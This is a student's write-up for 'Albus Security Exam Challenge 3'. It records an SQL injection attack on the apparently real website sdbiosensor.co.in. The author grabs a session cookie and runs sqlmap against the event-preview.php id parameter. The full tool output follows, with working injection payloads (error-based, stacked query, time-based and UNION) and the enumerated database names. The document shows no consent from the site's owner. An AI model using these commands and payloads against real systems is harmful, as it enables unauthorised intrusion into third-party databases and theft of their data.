

Albus Security Exam Challenge 3

Identify and access only the database names on the website **sdbiosensor.co.in** using an SQL injection attack.

Step:

1. I used **document.cookie** command in **Inspect > Console** of browser to get the cookie value.

The screenshot shows a web browser window with the address bar displaying `sdbiosensor.co.in/event-preview.php?id=1`. The page content includes the SD Biosensor Healthcare Pvt. Ltd. logo, a navigation menu with 'HOME', and a section for an event on 15-Sep-2024. At the bottom, there is contact information for the Registered Office cum R&D Center.

The browser's developer console is open, showing several error messages: 'Mixed Content: The page at 'https://sdbiosensor.co.in/' has loaded a resource from an insecure http://www.jqueryscript.net/css/jquerysctipttop.css', 'Failed to load resource: the server responded with a status of 404 (Not Found)', and 'Uncaught TypeError: Cannot read properties of null (reading 'event-preview.php?id=1')'. Below the errors, the command `document.cookie` is entered in the console, and the output shows the cookie value: `'PHPSESSID=thg3ms21k70inqaano2pvup6h1'`.

2. In Kali Linux, I used SqlMap tool to get the information about databases.

Command: sqlmap -u "<https://sdbiosensor.co.in/event-preview.php?id=1>" --dbs --cookie="PHPSESSID=thg3ms21k70inqaano2pvup6h1"

```
(whitedevil@whitedevil)-[~]
$ sqlmap -u "https://sdbiosensor.co.in/event-preview.php?id=1" --dbs --cookie = "PHPSESSID=thg3ms21k70inqaano2pvup6h1"

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey
local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:45:58 /2024-09-15/

22:45:59 [INFO] testing connection to the target URL
22:46:01 [INFO] checking if the target is protected by some kind of WAF/IPS
22:46:02 [INFO] testing if the target URL content is stable
22:46:03 [INFO] target URL content is stable
22:46:03 [INFO] testing if GET parameter 'id' is dynamic
22:46:04 [WARNING] GET parameter 'id' does not appear to be dynamic
22:46:05 [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
22:46:07 [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
22:46:11 [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
22:46:12 [WARNING] reflective value(s) found and filtering out
22:46:21 [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
22:46:23 [INFO] testing 'Generic inline queries'
22:46:24 [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
22:47:03 [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
22:47:39 [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
22:48:22 [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
22:48:46 [INFO] GET parameter 'id' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable

Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: id=1' AND EXTRACTVALUE(5541,CONCAT(0x5c,0x7176716b71,(SELECT (ELT(5541=5541,1))),0x71716b6b71))-- NLbw

Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1';SELECT SLEEP(5)#

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1123 FROM (SELECT(SLEEP(5)))nokh)-- ATwC

Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x7176716b71,0x6470614e4a737644426e7177757a44715a627a53457161437672754778616676464c6a6769517471,0x71716b6b71),NULL,NULL,NULL,NULL#

22:49:43 [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
22:49:44 [INFO] fetching database names
22:49:46 [INFO] retrieved: 'information_schema'
22:49:47 [INFO] retrieved: 'sdbiosensorco_sdbio'
available databases [2]:
[*] information_schema
[*] sdbiosensorco_sdbio

22:49:47 [INFO] fetched data logged to text files under '/home/whitedevil/.local/share/sqlmap/output/sdbiosensor.co.in'
[*] ending @ 22:49:47 /2024-09-15/

(whitedevil@whitedevil)-[~]
$
```

Result:

Found 2 databases

1. Information_scheme
2. Sdbiosensorco_sdbio